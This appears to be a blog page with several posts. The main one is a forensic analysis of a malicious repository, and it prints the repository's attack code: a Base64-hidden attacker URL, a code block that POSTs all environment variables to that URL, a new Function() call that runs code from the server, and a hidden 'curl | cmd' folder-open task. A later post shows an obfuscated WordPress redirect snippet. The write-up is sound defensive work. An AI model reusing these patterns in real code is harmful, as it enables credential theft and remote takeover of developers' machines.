As software engineers, we clone repositories constantly. It’s part of our daily workflow — evaluating libraries, reviewing code, testing demos. But what happens when the repository itself is the attack? This post documents how I identified a sophisticated, multi-layered attack embedded inside what appeared to be a legitimate open source project, and the step-by-step forensic process I used to explore it.

This isn’t a story about being hacked. It’s a story about catching something before it could do damage — and sharing what I found so you can do the same.


The Setup — It Looked Completely Legitimate

The repository presented itself as a blockchain-based platform. It had a polished README, screenshots, a credible tech stack (React, Node.js, Solidity, Socket.io), and a clear project description. Nothing immediately obvious raised suspicion — it looked like dozens of other demo projects you might find on GitHub.

I cloned it, opened in Cursor, and that’s when things got interesting.


Layer 1 — Secrets Committed to a Public Repository

The first thing I noticed during a routine code review was that .env and .env.local files were committed directly to the repository and publicly visible. They contained credentials for AWS, OpenAI, Stripe, and several blockchain API providers.

Most appeared to be placeholder values. But one variable stood out immediately:

AUTH_API=aHR0cHM6Ly8yLTI3LWJrLTktYm9zcy1hcGktY29weS10aHJlZS52ZXJjZWwuYXBwL2FwaQ==

A Base64-encoded value — deliberately obfuscated. Decoding it revealed a URL pointing to an unknown third-party server with no public presence whatsoever. Legitimate projects don’t hide URLs in Base64 inside environment files. This was the first serious red flag.


Layer 2 — The prepare Hook Executes Code on npm install

Reviewing package.json revealed the second layer:

"scripts": {
  "prepare": "node server/server.js"
}

The prepare lifecycle hook runs automatically during npm install. This means simply installing dependencies silently started the server — with no user prompt, no warning, no visible output. This is a well-known supply chain attack technique: using npm lifecycle hooks to execute arbitrary code the moment a developer installs a project.


Layer 3 — The Server Exfiltrates Your Environment Variables

Digging into the server-side code revealed what the server was designed to do once started. Inside the authentication controller:

const verify = (api) =>
  axios.post(api, { ...process.env }, {
    headers: { "x-app-request": "ip-check" }
  });

{ ...process.env } spreads every environment variable on your system and POSTs them to the attacker’s server. This includes AWS credentials, API keys, database connection strings, tokens — anything set in your system environment or loaded from .env files.


Layer 4 — Remote Code Execution via new Function()

The deepest layer was in the route handler for authentication:

const executor = new Function("require", response.data);
executor(require);

Whatever JavaScript the attacker’s server returned in response to the POST was executed directly on the victim’s machine using Node.js’s require — giving it full access to the file system, network, and operating system. This is a complete remote code execution backdoor, with the payload controlled entirely server-side and never written to disk.


Layer 5 — The .vscode/tasks.json Weapon

The most aggressive attack vector was hidden inside .vscode/tasks.json. The malicious command was padded with hundreds of blank spaces to push it far off-screen, invisible to anyone casually reviewing the file in a standard editor view:

"command": "curl --ssl-no-revoke -L https://[attacker-domain].vercel.app/api/settings/windows | cmd"

Combined with:

"runOptions": { "runOn": "folderOpen" }

This task executes automatically the moment you open the project folder in VS Code or Cursor — no click required, no confirmation needed (if workspace trust has been granted). It downloads a script from the attacker’s server and pipes it directly into the Windows command prompt, silently, with all output suppressed.

This is a fileless execution technique — nothing is saved to disk, making it significantly harder for antivirus software to detect in real time.

If you explore the file the chance to scroll right is really small and seeing that hidden curl command is almost impossible. You could see in the picture how it is really pushed maximum to the right with spaces.


The Attack Pattern — What to Look For

This type of attack typically combines several techniques that individually look harmless but together form a complete compromise chain:

  • Secrets committed to version control (to establish false legitimacy, or harvest if real)
  • npm lifecycle hooks (prepare, preinstall, postinstall) that execute code silently on install
  • Environment variable harvesting via { ...process.env }
  • Dynamic code execution via eval() or new Function()
  • .vscode/tasks.json with runOn: folderOpen to execute on project open
  • Obfuscated URLs hidden in Base64 or buried in whitespace

None of these techniques is new in isolation. What makes this dangerous is their combination into a layered attack that can survive partial detection — if one vector is blocked, another may succeed.


How to Protect Yourself

Before running npm install on any unfamiliar project:

# Review all lifecycle scripts first
cat package.json | grep -A 20 '"scripts"'

# Install without running lifecycle hooks
npm install --ignore-scripts

# Then manually review before running anything

Before opening any project in VS Code or Cursor:

  • Check .vscode/tasks.json for runOn: folderOpen entries
  • Check .vscode/settings.json for unexpected terminal or shell configurations
  • Never click “Trust” on a workspace from an unknown or unverified source

System-level protections:

  • Keep Windows Firewall enabled and pay close attention to outbound network prompts
  • Use a reputable antivirus for on-demand scanning after working with unknown code
  • Avoid storing real API keys in system environment variables — use a dedicated secrets manager
  • Consider running unknown or untrusted code inside a VM or Docker container

Red flags in any repository:

  • .env files committed to version control
  • Obfuscated values (Base64, hex encoding) in configuration files
  • Unknown hosted endpoints in environment variables with no documentation
  • prepare, preinstall, or postinstall scripts that start a server or make network calls
  • .vscode/tasks.json files in repositories you didn’t create yourself

Conclusion

The sophistication of this attack wasn’t in any single technique — it was in the layering. Each component provided redundancy: if one vector failed, another might succeed. The .vscode task as a backup to the npm hook. The remote code execution as a backup to the environment variable exfiltration.

As software engineers, our workflow involves constantly running code we didn’t write. That’s not going to change. What can change is how carefully we inspect what we’re about to execute — especially when it comes from an unfamiliar source.

A thirty-second review of package.json and .vscode/tasks.json before cloning and installing could have identified every attack vector described in this post.

Take the thirty seconds.


If you found this useful, share it with your team. The more engineers recognize these patterns, the harder this type of attack becomes to execute successfully.

There is a growing narrative that “vibe coding” will eliminate the need for developers, that software engineering jobs are coming to an end, and that people in the industry should start thinking about new careers. While these claims are gaining attention, they oversimplify what is actually happening. In this article, I will share my perspective on what is truly changing, and what it means for the future of software development.

What is certain is that the way we build software is changing fundamentally.

When I started working as a software engineer about 22 years ago, it was neither particularly attractive nor highly paid. People were drawn to it not because of the money, but because of the possibilities—what could be created with a computer and an internet connection. Personally, I spent thousands of hours experimenting, testing, and building things that brought no financial return, simply because it was interesting, fun, or had the potential to improve something.

Over the past 15 years, this changed dramatically. The rapid growth of digitalization and the demand for new software products created an enormous need for engineers. Salaries increased significantly, and the industry attracted people from a wide range of backgrounds. At the same time, building software became more expensive year after year, while the overall efficiency of teams did not scale at the same pace.

Today, we are a few years into the widespread adoption of Large Language Models (LLMs), initially popularized by OpenAI, and we are seeing an explosion of tools across all areas of business. In this article, I will focus on software engineering, although the same shift is already visible in many other industries.

AI coding agents now enable even non-technical users to generate code and build entire applications. Tools like Lovable opened this space to a much broader audience. For the first time, people with ideas can describe what they want in plain language and receive working results almost instantly.
Of course, this approach does not yet scale easily to production-grade systems. But for building proofs of concept (POC) and MVPs, it is already extremely powerful. This was the first clear signal of how the industry could change, and since then, a wave of new tools and early frameworks for using AI at scale has started to emerge.

So here comes the question, how can we organize our work using that tooling so we could achieve high productivity, high quality and potential for future development and R&D of those systems.

Documentation becomes the control system

Documentation is no longer a byproduct of development.

It becomes the system that drives it.
Code is no longer the source of truth. Documentation is.

When AI is responsible for execution, the quality of the output depends entirely on the quality of the input. And that input is not code — it is structured documentation.

This is essentially Context Engineering (I liked the term immediately when heard), it represents exactly what the engineers need to do. Create the best context with documentation and prompts and execute it with the code agents.

Product requirements, technical specifications, architecture decisions, and prompt templates are no longer passive artifacts. They actively define how the system will be built.

In this model, documentation acts as a control layer:

  • It sets the boundaries
  • It provides context
  • It defines expected behavior

AI follows what is defined. Nothing more, nothing less.

This leads to a simple but critical rule:

Bad documentation leads to bad systems.
Well-structured documentation enables scalable, high-quality execution.

AI is the execution layer

AI should not be seen as the architect of the product, but as its execution layer.

That distinction is critical.

AI can generate code, refactor modules, write tests, prepare documentation, suggest architecture patterns, and accelerate delivery dramatically. But it does not own the business context, the priorities, the trade-offs, or the long-term vision of the system. Those remain human responsibilities.

This is why the role of the engineer is not disappearing — it is evolving.

Starting the project means providing the well-structured AI-oriented documentation, including functional definitions, technology information, default prompts, designs (also integrated with AI first design systems).

Engineers are no longer only implementers. They become orchestrators of the full development process: defining the structure, setting the constraints, providing the right context, validating outputs, and deciding what is good enough to move forward.

Development of the product should be staged on phases and every phase to be refactored and verified by the human engineers, refined and improved and created tests before continuing to the next phase of development.

In this model, AI provides speed. Humans provide direction.

When that balance is right, the result is not just faster development, but better development — more structured, better documented, more testable, and easier to improve over time.

QA by design

In traditional development, quality assurance often comes at the end of the process, unless you are using Test-Driven Development (TDD) approach of programming. Testing is treated as a final checkpoint before release. Here in the era of AI-DD it is part of the every phase of the development and it is crucial for verifying the quality and potential regression situations that may arise because of the speed of the development that we could achieve.

Because AI accelerates development significantly, it also increases the risk of introducing errors, inconsistencies, and regressions at a much faster rate. Without continuous validation, speed quickly turns into instability.

That’s why QA must be embedded into every phase of the development lifecycle.

Testing is not an afterthought — it is part of the system definition itself.

As part of the project documentation and AI instructions, teams should define:

  • Unit tests for core logic
  • Integration tests for system interactions
  • End-to-end tests for user flows
  • Edge-case scenarios for robustness

AI can assist in generating and maintaining these tests, but their structure and coverage must be intentionally designed by engineers.

In AI-DD, speed without QA is risk. QA is what makes speed sustainable.

Code is no longer written – it’s prompted

One of the most visible shifts in AI-Driven Development is how code is produced.

This does not mean coding disappears. It means coding becomes an outcome of a higher-level process.

Engineers describe:

  • what the system should do
  • how components should interact
  • what constraints must be respected

And AI translates that into working code.

The quality of the result depends not on typing speed, but on:

  • clarity of specifications
  • structure of prompts
  • completeness of context

Clear thinking leads to high-quality systems.

This is why prompting is not a shortcut — it is a new engineering skill.

Zero hand written code platforms are here! Having great documentation, organization of the project and guaranteed quality makes engineers to supervise the AI agents code generation only.

Final thoughts: What This Means for the Industry

AI-Driven Development will not eliminate software engineering — but it will fundamentally reshape it.

The most immediate impact is speed.
Teams can already build and iterate significantly faster — in some cases 5–10-20x, and in specific scenarios even more. This changes the economics of software.

Faster delivery means:

  • fewer people needed for the same output
  • shorter development cycles
  • more experimentation and iteration

As a result, parts of the market will compress.
Roles focused purely on execution will become less valuable, and compensation models will likely adjust over time.

But this is only one side of the shift.

The real transformation is in how engineers think and operate.

Engineers can no longer focus only on isolated tasks.
They need to understand the full system — product, architecture, infrastructure, integrations, testing, performance, security, and user experience — as a connected whole.

The role evolves from implementer to orchestrator.

From writing code → to defining systems
From executing tasks → to designing processes
From solving tickets → to owning outcomes

For those who embrace this shift, the opportunity is significant.

AI removes a large part of the mechanical work.
It allows engineers to focus on what actually matters: structure, decisions, and impact.

Those who enjoy technology, curiosity, and building systems will benefit the most.

Those who rely only on execution will struggle to adapt.

AI will not replace engineers.
But engineers who understand how to use AI will replace those who don’t.

 

document[_0xaae8[5]](_0xaae8[4][_0xaae8[3]](_0xaae8[0])[_0xaae8[2]]()[_0xaae8[1]](_0xaae8[0]));document[_0xaae8[5]](_0xaae8[4][_0xaae8[3]](_0xaae8[0])[_0xaae8[2]]()[_0xaae8[1]](_0xaae8[0]));

This is some code that you can find in your js files leading visitor redirects to other websites.

Probably you have been hacked and somebody inserted some code in your wordpress installation.

Continue reading

Честито! 🙂

Може би имате сериозен проблем с mysql, който може да се степенува в скалата от 1 до 6, където 6 не е отлечен 🙂 а точно обратното. (ще стане ясно защо малко по-долу)

Наскоро се сблъсках точно с този проблем при стартирането на база данни с InnoDB таблици. При мен проблема се оказа в следствие с неточност при записването на логовете в “ib_logfile”. Проблема може да е в следсвие на неправилно спиране на сървъра или проблем с хард диска, или пък нещо различно, което е свързано с процеса за писане във файла като цяло. Аз лично смятам, че е заради принудително спиране на сървъра, тъй като проблема се яви на Development машина, която като цяло бива спирана от време на време по този начин.

Continue reading